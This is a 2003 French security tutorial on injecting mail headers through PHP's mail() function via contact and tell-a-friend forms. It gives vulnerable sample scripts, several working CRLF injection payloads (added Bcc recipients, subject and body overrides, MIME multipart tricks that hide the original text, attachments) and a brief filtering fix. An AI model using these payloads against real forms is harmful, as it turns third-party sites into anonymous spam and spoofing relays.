spacer Format d'impression spacer
Envoyer un ami spacer
spacer spacer
Injection d headers dans la fonction mail() de PHP
Auteur/Traducteur : leseulfrog@hotmail.com
Date de cration : 25 octobre 2003
Dernire modification : 25 octobre 2003
Vu 39845 fois

References :




Les failles sur le net permettant l'envoi d'un mail anonyme peuvent souvent servir un hacker, ou pour une arnaque quelconque. En effet, quand on envois un mail en PHP, le destinataire reoit un mail dont l'ip de l'expditeur est celui du site depuis lequel la fonction mail() a t appele. Le site fait donc usage de proxy SMTP.
Dans ces cas-l, le problme vient du fait que l'utilisateur peut choisir le sujet du mail, son message, l'expediteur et le destinataire.

Rappel : La fonction mail fonctionne de la sorte :
mail([DESTINATAIRE],[SUJET],[MESSAGE],[HEADERS]);

Inutile de parler donc du cas o tout les arguments de la fonction mail() sont dfinissable par l'utilisateur, il y a dj pas mal de textes ce sujet.
Par contre il est plus interessant d'imaginer comment envoyer un email anonyme quand il y a certaines restrictions.

En effet, d'autres webmasters, plus prudents, dfinissent l'e-mail du destinataire dans le code PHP, quand il s'agit par exemple (le plus souvent) d'envoyer un mail au webmaster du site.
Voici un exemple de ce genre de script, sur lequel nous allons commencer l'analyse :

<?
$to="webmaster@website.com";
if (!isset($_POST["send"])){
// Si le formulaire n'a pas t envoy, on l'affiche
?>
<form method="POST" action="">
A: webmaster@website.com<br>
De: <input type="text" name="expediteur"><br>
Sujet : <input type="text" name="sujet"><br>
Message : <br><br>
<textarea name="message" rows="10" cols="60" lines="20"></textarea><br>
<input type="submit" name="send" value="Envoyer">
</form>
<?
}else{
// Si le formulaire a t envoy
$from=$_POST["expediteur"];
// On envoi le mail :
if (mail($to,$_POST["sujet"],$_POST["message"],"From: $from\n")){
// Si le mail a bien t envoy, message de confirmation
echo "Votre mail a bien t envoy $to.<br>";
}else{
// sinon, message d'erreur.
echo "Votre mail n\'a pas pu tre envoy.<br>";
}
}

?>


On ne peut donc pas choisir le destinataire via le premier argument de la fonction mail(), vu qu'il est dfinit dans le script. Par contre on peut dfinir le sujet, le message, et l'expediteur (dans les headers : "From").
Rappelons le format d'un envoi de mail en PHP, pour une fonction de type
mail($destinataire,$sujet,$message,$headers); :

To: $destinataire
Subject: $sujet
$headers

$message

Donc quand on fait un appel la fonction mail("destinataire@website1.com","Hello","Hi,\nYour site is great.\nBye","From: expediteur@website2.com\n"); on envois :

To: destinataire@website1.com
Subject: Hello
From: expediteur@website2.com

Hi,
Your site is great.
Bye

Dans le cas du script PHP plus haut, la partie la plus interessante que l'utilisateur peut choisir dans son envoi de mail est l'expediteur, car il est directement envoys dans les headers. Et nous allons tenter de modifier ou d'ajouter d'autres headers que le "From".
Logiquement, les parties message, To: et Subject: pourraient servir aussi injecter quelque chose, mais la fonction mail() filtre bien les deux dernires, et la premire est le message, et partir du moment o on a saut une ligne dans l'envoi du mail, c'est considr comme du texte; le message ne saurait donc rester qu'un message.
Le but est d'injecter des headers. A quel but ? Et bien ici, pour envoyer un email anonyme quelqu'un d'autre que le webmaster du site. Cela serait possible en utilisant par exemple l'header "Cc" ( pour Carbon Copy ou Copie Carbone ou Copie Conforme), qui envois une copie conforme du mail aux personnes indiques en argument. Ou mieux l'header "Bcc" (pour Blind Carbon Copy ou Copie Carbone Cache) qui envois une copie conforme sans qu'aucun autre destinataire ne soit au courrant. Le problme est que pour dfinir un nouvel header, il faut obligatoirement passer la ligne, comme on l'a vu dans le format de l'email plus haut.
Mais cela est possible, grce au caractre <LF> pour Line Feed (ou passage la ligne), dont la traduction hexadecimale est 0x0A.
Ainsi, en reprenant l'exemple de script PHP ci-dessus, si je donne comme valeur :
- l'expediteur : "email@anonymous.com%0ACc:email1@website1.com%0ABcc:email2@website2.com,email3@website3.com"
- au sujet : "Hum"
- au message : "My Message..."
alors l'email envoy sera de la forme :

To: webmaster@website.com
Subject: Hum
From:
email@anonymous.com
Cc:email1@website1.com
Bcc:email2@website2.com,email3@website3.com


My Message...

et on aura non seulement bel et bien inject des headers, vu que le seul prvu par le webmaster tait "From", mais on a en plus envoy l'email trois personne de notre choix : email1@website1.com, email2@website2.com et email3@website3.com alors qu'on tait pas sens pouvoir choisir de destinataire.
On a utilis les headers "Cc" et "Bcc" pour envoyer notre mail qui on voulait, mais le mieux aurait t d'utiliser l'header "To". Et bien c'est possible; on peut redfinir l'header "To", la nouvelle valeur viendra juste s'ajouter l'ancienne, comme si on avait spar les deux mails par des virgules (comme dans le "Bcc" inject de l'exemple avant).
Gardons la mme valeur pour le sujet et le message, mais l'expditeur donnont maintenant la valeur : "email@anonymous.com%0ATo:email1@who.com" ce qui donne :

To: webmaster@website.com
Subject: Hum
From:
email@anonymous.com
To:email1@who.com


My Message...

La rptition du "To" ne posera donc aucun problme, et l'email sera envoy webmaster@website.com ET email1@who.com .

Imaginons maintenant une possibilit d'envoi de mail encore plus restrictive : l'envoi de pub. Il arrive souvent sur des sites qu'on trouve un formulaire pour envoyer un mail un ami lui "conseillant" d'aller visiter le site sur lequel on se trouve. Dans des cas pareils, on peut rentrer notre email, que l'ami sache qui l'a conseill, et l'email du destinataire (l'ami). Ce qui donne par exemple un script comme ceci :

<?
$sujet="Visitez www.website.com !";
$message="Bonjour,\nUn ami vous conseille de visiter www.website.com.\nAu revoir.";
if (!isset($_POST["send"])){
// Si le formulaire n'a pas t envoy, on l'affiche
?>
<form method="POST" action="">
A : <input type="text" name="destinataire"><br>
De: <input type="text" name="expediteur"><br>
<input type="submit" name="send" value="Envoyer">
</form>
<?
}else{
// Si le formulaire a t envoy
$from=$_POST["expediteur"];
$to=$_POST["destinataire"];
// On envoi le mail :
if (mail($to,$sujet,$message,"From: $from\n")){
// Si le mail a bien t envoy, message de confirmation
echo "Votre mail a bien t envoy $to.<br>";
}else{
// sinon, message d'erreur.
echo "Votre mail n\'a pas pu tre envoy.<br>";
}
}

?>

Dans ce cas encore une fois, on va pouvoir injecter des headers. Mais pas pour le destinataire cette fois; on peut dj le dfinir nous-mme,c 'est prvu. Par contre ici on a pas le choix ni du sujet ni du message envoy.
Commenons par le sujet. On a vu tout l'heure qu'un header pouvoit tre dfinit deux fois, la nouvelle valeur s'ajoutait l'ancienne. Il en est evidemment de mme pour l'header "Subject", comme pour tout les nombreux autres headers.
En donnant comme destinataire "ami@friends.com" et comme expediteur "badguy@badboys.com%0ASubject:My%20Anonymous%20Subject", le mail sera envoy de cette faon :

To: ami@friends.com
Subject: Visitez www.website.com !
From:
badguy@badboys.com
Subject: My Anonymous Subject


Bonjour,
un ami vous conseille de visiter www.website.com.
Au revoir.

Le sujet "My Anonymous Subject" sera ajout au sujet "Visitez www.website.com !" ce qui donnera un email avec comme sujet "Visitez www.website.com ! My Anonymous Subject". Il arrive mme dans certains webmails que ce ne soit que le sujet ajout qui est affich (par exemple sur hotmail, l'intrieur du message).
Voyons enfin comment changer le message. Le corps du message, contrairement aux headers, n'est pas reconnaissable par son nom (From, To, Subject,...); il n'y a pas d'intitul "Message" dans le format d'un mail. Et c'est justement comme a qu'il est reconnaissable. A partir du moment o on est pass la ligne sans dfinir aucun header, on sait que la suite est le message.
Donc au lieu de passer la ligne et de mettre le nom de l'header injecter, on va simplement passer la ligne, puis inscrire le message.
Le message est dj dfinit comme l'header "To" et l'header "Subject", il y aura donc l'ancien message plus le message inject, mais contrairement ces deux headers, ce n'est pas aprs, mais avant l'ancien message que va se placer le nouveau.
En effet imaginons maintenant qu'on marque comme expediteur : "badguy@badboys.com%0A%0AMy%20New%20%0AAnonymous%20Message." , alors l'email serait de la forme :

To: ami@friends.com
Subject: Visitez www.website.com !
From:
badguy@badboys.com

My New
Anonymous Message.


Bonjour,
un ami vous conseille de visiter www.website.com.
Au revoir.

On voit clairement que le nouveau message :
----------------------
My New
Anonymous Message

----------------------
vient avant l'ancien message :
--------------------------------------------------------------
Bonjour,
un ami vous conseille de visiter www.website.com.
Au revoir.

--------------------------------------------------------------
pour donner finalement le message :
--------------------------------------------------------------
My New
Anonymous Message

Bonjour,
un ami vous conseille de visiter www.website.com.
Au revoir.

--------------------------------------------------------------

Comme je l'ai dj dis, il existe toute une ribambelle d'headers mail autres que "Cc", "Bcc","To","Subject" et "From".
Nous n'allons pas tous les passer en revue, ce n'est pas le but de ce texte. Voyons en un dernier, un petite luxe =), qui peut s'averer fort utile.
Il s'agit de l'header "Content-Type" qui, comme le dit son nom, dfinit le type du message envoy. Il est par dfaut "plain/text", c'est--dire du texte simple. Mais on peut lui donner par exemple la valeur "text/html", ce qui aura comme effet d'interpreter les balises HTML comme du HTML et pas comme du texte.
Par exemple en donnant l'expediteur la valeur : "haxor@attack.com%0AContent-Type:text/html%0A%0AMy%20%New%0A<u>HTML%20Anonymous%20Message.</u>%0A "
l'email envoy sera :

To: ami@friends.com
Subject: Visitez www.website.com !
From:
haxor@attack.com
Content-Type:text/html

My New
<u>HTML Anonymous Message.</u>


Bonjour,
un ami vous conseille de visiter www.website.com.
Au revoir.

et l'affichage du mail, le texte "HTML Anonymous Message." sera soulign.

La fonction mail respecte l'encodage MIME. En sachant a, l'header "Content-Type" peut devenir trs interessant pour l'injection d'headers. L'encodage MIME (
Multipurpose Internet Mail Extensions) peut servir, en plus d'envoyer des emails en html, de faire des attachements de fichiers (sons, images, texte,...).
Ici nous allons tudier et utiliser l'header "Content-Type" avec comme valeur "multipart/mixed" (il y en a bien sr d'autres du mme type comme "multipart/alternative" ou "multipart/related"
). "multipart/mixed" va nous permettre de sparer le mail en plusieurs parties.
Commenons de suite par un exemple de mail au format MIME, ici avec une seule partie pour le destinataire :

To: destin@tai.re
Subject: Good Luck
From: expediteur@hissite.com
Content-Type: multipart/mixed; boundary="MyBoundary";
Hidden Text1
--MyBoundary
Content-Type: plain/text;

Good Luck for you work,
bye

--MyBoundary--
Hidden Text2

On voit d'abord un header "To", "Subject" et "From" puis l'header "Content-Type" avec l'argument "multipart/mixed", et juste aprs une ligne attribuant "boundary" la valeur "MyBoundary". "boundary" et le sparateur entre les differentes parties du message. Il annonce le dbut du 1er message par "--[LE BOUNDARY]", il fait la sparation entre les differentes parties galementpar "--[LE BOUNDARY]" et il dfinit la fin du message par "--[LE BOUNDARY]--". On peut lui donner la valeur qu'on veut. Ensuite on voit une ligne "Hidden Text1". Comme il le dit, ce texte ne sera pas montr au destinataire, car ce n'est ni un header, ni une partie du message, puisqu'on a dfinit un "boundary" qui n'a pas encore annonc le dbut du 1er message.
Puis on a cette ligne "--MyBoundary" qui annonce le dbut du premier message, et directement aprs encore un fois l'header "Content-Type" qui va dfinir le type de cette premire partie, ici du texte simple. Puis vient le message, et la ligne "--MyBoundary--", annonant la fin de l'email. Comme c'est la fin de l'email, la dernire ligne "Hidden Text2" ne sera pas non plus montre au destinataire.
Et voil ce qui est interessant pour l'injection d'headers : on avait vu qu'on pouvait ajouter un message avec le script PHP pour envoyer une pub, mais la pub tait toujours l. Avec ce nouvel lment, on va pouvoir faire en sorte qu'il soit ignor.
Ainsi en donnant comme valeur l'expediteur :
"haxor@attack.com%0AContent-Type:multipart/mixed;%20boundary=frog;%0A--frog%0AContent-Type:text/html%0A%0A<b>My%20Message.</b>%0A--frog--"
on obtient l'envoi de message suivant :

To: ami@friends.com
Subject: Visitez www.website.com !
From:
haxor@attack.com
Content-Type:multipart/mixed; boundary=frog;
--frog
Content-Type:text/html

<b>My Message.</b>
--frog--


Bonjour,
un ami vous conseille de visiter www.website.com.
Au revoir.

et le message reu par "ami@friends.com" est uniquement "<b>My Message.</b>" en HTML, c'est dire "My Message." en gras. Le message de pub :

Bonjour,
un ami vous conseille de visiter www.website.com.
Au revoir.

n'est pas affich.

Note : je n'ai pas mis le boundary entre guillemets pour montrer que c'est applicable mme si magic_quotes_gpc=ON.

Autre chose ce sujet... imaginons que le hacker puisse modifier les headers via le champ "Expediteur" ET une variable dans le message (par exemple au lieu de "un ami" dans le message, une variable que l'utilisateur doit remplir dans le formulaire du script PHP via un champ "Pseudo"). Dans ce cas, il est possible d'obtenir le mme rsultat ct destinataire (afficher uniquement le message que l'on choisit), en donnant au champ "Expediteur" la valeur : "haxor@attack.com%0AContent-Type:multipart/mixed;%20boundary=frog;%0A" et au champ "Pseudo" la valeur : "%0A--frog%0AContent-Type:text/html%0A%0A<b>My%20Message.</b>%0A--frog--". Seule difference, l'envoi de message sera :

To: ami@friends.com
Subject: Visitez www.website.com !
From:
haxor@attack.com
Content-Type:multipart/mixed; boundary=frog;

Bonjour,
--frog
Content-Type:text/html

<b>My Message.</b>
--frog--

vous conseille de visiter www.website.com.
Au revoir.

On voit bien que les parties du message "Bonjour," et "vous conseille de visiter www.website.com.Au revoir." se trouvent aux emplacements de "Hidden Text1" et "Hidden Text2" dans le premier exemple de mail multipart-mixed. Elles ne sont donc pas affiches dans le message.

Enfin une petite finale o on utilise peu prs tout ce qu'on a vu, plus un petit bonus; un fichier attach. En donnant l'expediteur la valeur :
"haxor@attack.com%0ASubject:Mwahahaha%0ABcc:target@nothappy.com%0AContent-Type:multipart/mixed;%20boundary=frog;%0A--frog%0AContent-Type:text/html%0A%0A<u>HTML%20Message.</u>%0A%0A--frog%0AContent-Type:text/html;name=Security.html;%0AContent-Transfer-Encoding:8bit%0AContent-Disposition:attachment%0A%0A<u>HTML%20File</u>%0A%0A--frog--%0A"
l'email est envoy de la manire suivante :

To: ami@friends.com
Subject: Visitez www.website.com !
From:
haxor@attack.com
Subject:Mwahahaha
Bcc:target@nothappy.com
Content-Type:multipart/mixed; boundary=frog;
--frog
Content-Type:text/html

<b>HTML Message.</b>

--frog--
Content-Type:text/html;name=Security.html;
Content-Transfer-Encoding:8bit
Content-Disposition: attachment

<u>HTML File</u>

--frog--

Bonjour,
un ami vous conseille de visiter www.website.com.
Au revoir.

Ce qui donne donc comme expediteur : "haxor@attack.com", comme sujet : "Visitez www.website.com ! Mwahahaha".
Cet email sera reu par "ami@friends.com", et en copie cache par "target@nothappy.com".
L'email contiendra un message en html : "<b>HTML Message.</b>" et un fichier attach de type "text/html" nomm "Security.html" contenant le code HTML : "<u>HTML File</u>".


Pour scuriser les failles d'injection d'headers mail, il doit y avoir plusieurs manires differentes. Une ide serait d'ajouter, aprs la ligne :

$from=$_POST["expediteur"];

le code suivant :

if (eregi("\r",$from) || eregi("\n",$from)){
die("Why ?? :(");
}

On voit que le script est stopp grce une fonction die() si l'expediteur contient "\r" ou "\n". "\n" correspond LF ou 0x0A/%0A en hexadecimal, c'est--dire le saut la ligne, et "\r" correspond CR ou 0x0D/%0D en hexadecimal ou "Carriage Return", c'est dire le retour en dbut de ligne. Il arrive que les caractres %0A%0D soient utiliss la place du simple %0A, mais c'est ce dernier caractre qui est rellement dangereux. Le filtre vrifie tout de mme se caractre car il n'y a aucune autre raison que le piratage qu'il soit utilis.


Il y aurait bien sr encore beaucoup de choses dire, mais les grands principes sont vus, ainsi que la logique.
En conclusion on se souviendra qu'on peut modifier comme on veut dans l'e-mail tout ce qui se trouve aprs l'endroit de l'injection (le "From"), et on peut seulement ajouter ce que l'on veut aprs ce qui se trouve avant l'endroit de l'injection.
Il y a un autre bon point cette scurit, en plus du fait que les sujets et destinataires entrs dans la fonction mail() sont dfinis de toute faon.
Quand j'ai pens faire le texte sur l'injection d'headers, je n'avais encore jamais rien fait de ce genre. En reflechissant ce qui serait possible de faire, je me suis dis qu'il pourrait bien y avoir un trou norme d au header "Fcc". Cet header contient le nom du fichier dans lequel une copie du mail sera enregistr son envoi. Mais cet header doit tre le premier dfinit parmis tout les headers pour tre valide, et ce n'est pas possible via la fonction PHP mail() (et en plus je ne suis pas sr que a soit applicable au format MIME).
Si je parle de ce header "Fcc", c'est pour attirer l'attention sur lui. Imaginons que comme message du mail ou comme expediteur ou n'importe quoi on mette du code PHP, et que dans "Fcc" on mette un nom de fichier en .php dont le path est celui du site web, il serait alors possible d'excuter du code PHP. Ce n'est qu'une ide que je n'ai jamais teste mais je suis sr qu'il doit y avoir quelque part des failles lies a. Si quelqu'un en entend parler, qu'il me fasse signe :)


Je ddicace ce texte mon ami Raph alias Camebip dcd ce 2 novembre 2003. Ceux qui le connaissaient peuvent
laisser ses proches un message en cliquant ici.



frog-m@n (
leseulfrog@hotmail.com )
www.phpsecure.info

Texte publi dans
THJ N12 de dcembre-janvier 2004.

(copyleft) 2001 frogman@phpsecure.info 19-mar-2001 16:33:02 GMT &Ext

Envoyer cet rticle:


Expditeur *
Destinataire *
Sujet *
* Champs obligatoires
gipoco.com is neither affiliated with the authors of this page nor responsible for its contents. This is a safe-cache copy of the original web site.